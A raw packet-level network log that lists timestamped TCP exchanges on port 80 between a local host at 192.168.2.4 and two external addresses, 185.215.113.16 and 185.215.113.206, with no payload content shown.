Oct 26, 2024 05:55:00.239815950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239856005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.240062952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240096092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240127087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240139008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.240204096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240251064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.240255117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240283012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.240328074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.279067993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.279120922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.279151917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.279169083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.279185057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.279231071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.326487064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.326524019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.326556921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.326581001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.380376101 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.552701950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:00.582129955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582171917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582227945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582230091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582266092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582299948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582330942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582333088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582392931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582607031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582657099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582685947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582797050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582828999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582845926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582860947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582895041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582904100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582925081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582957983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.582972050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.582992077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583025932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583045006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583060980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583107948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583112955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583148956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583183050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583200932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583240986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583273888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583286047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583307981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583354950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583359957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583394051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583436012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583584070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583614111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583663940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583684921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583719969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583760977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583772898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583806992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583839893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583854914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583868980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583903074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583914995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.583936930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583970070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.583986044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.584007978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584037066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584050894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.584069014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584101915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584132910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:00.584135056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.584157944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.584167004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584204912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.584563971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.589761972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589797974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589849949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589867115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.589884043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589917898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589931965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.589951992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.589988947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.590003967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.590037107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.590082884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.590090036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.590117931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.590162039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.601702929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.601808071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.601838112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.601862907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.646028996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.648950100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.648964882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.648977995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.648993969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.649038076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.649135113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.689126968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689182997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689218998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689285994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.689296007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689352989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689382076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.689424992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.689424992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.721343994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.721548080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.721577883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.721641064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723426104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723484993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723490000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723515987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723584890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723592043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723615885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723664999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723701954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723711014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723732948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723767042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723809958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723809958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.723818064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723851919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.723886013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.724030972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.724124908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.724190950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.724201918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.724236965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.724308014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.762973070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.763036013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.763050079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.763087988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.810458899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.810480118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.810499907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.810517073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.810590029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.810590029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.850521088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850536108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850552082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850568056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850590944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.850621939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850636005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.850692987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.850692987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.882298946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.882358074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.882388115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.882416964 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.884826899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.884855986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.884943008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.884975910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885024071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.885036945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885071993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885107040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885143042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885154009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.885179043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885193110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.885294914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885328054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885353088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.885617018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885651112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885682106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.885725975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.885725975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.924437046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.924537897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.924597025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.924627066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.924674034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.924674034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.971576929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.971698999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.971740007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.971817017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.012027979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012090921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012111902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012120962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012131929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012139082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.012414932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.043925047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.043977022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.044014931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.044039965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046116114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046138048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046155930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046173096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046175003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046190023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046205997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046235085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046236992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046308041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046324968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046359062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046411037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046446085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046524048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046636105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046691895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046709061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.046727896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046761990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.046783924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.085688114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.085710049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.085726976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.085753918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.085838079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.085838079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.132973909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.133148909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.133182049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.133219004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.133259058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.133275986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.173082113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173121929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173177958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173214912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173226118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.173253059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173290014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.173325062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.173372030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.205179930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.205213070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.205229044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.205245018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.205279112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.205390930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207225084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207252979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207271099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207333088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207345963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207361937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207448006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207503080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207556963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207577944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207602024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207617998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207662106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207819939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207861900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207911968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207911968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.207956076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.207988024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.208003998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.208018064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.208053112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.246870995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.246943951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.246973991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.247010946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.247152090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.294284105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.294385910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.294415951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.294512033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.334362030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334418058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334434032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.334453106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334512949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.334521055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334557056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334590912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.334630966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.349802017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:01.349884987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:01.366478920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.366533041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.366539955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.366564989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.366606951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.368592978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368737936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368772984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368787050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.368823051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368871927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.368881941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368947983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.368977070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369012117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369021893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.369048119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369098902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369132996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369143009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.369143009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.369167089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369234085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.369294882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369347095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369375944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.369419098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:01.408320904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:01.408363104 CEST	80	49742	185.215.113.16	192.168.2.4
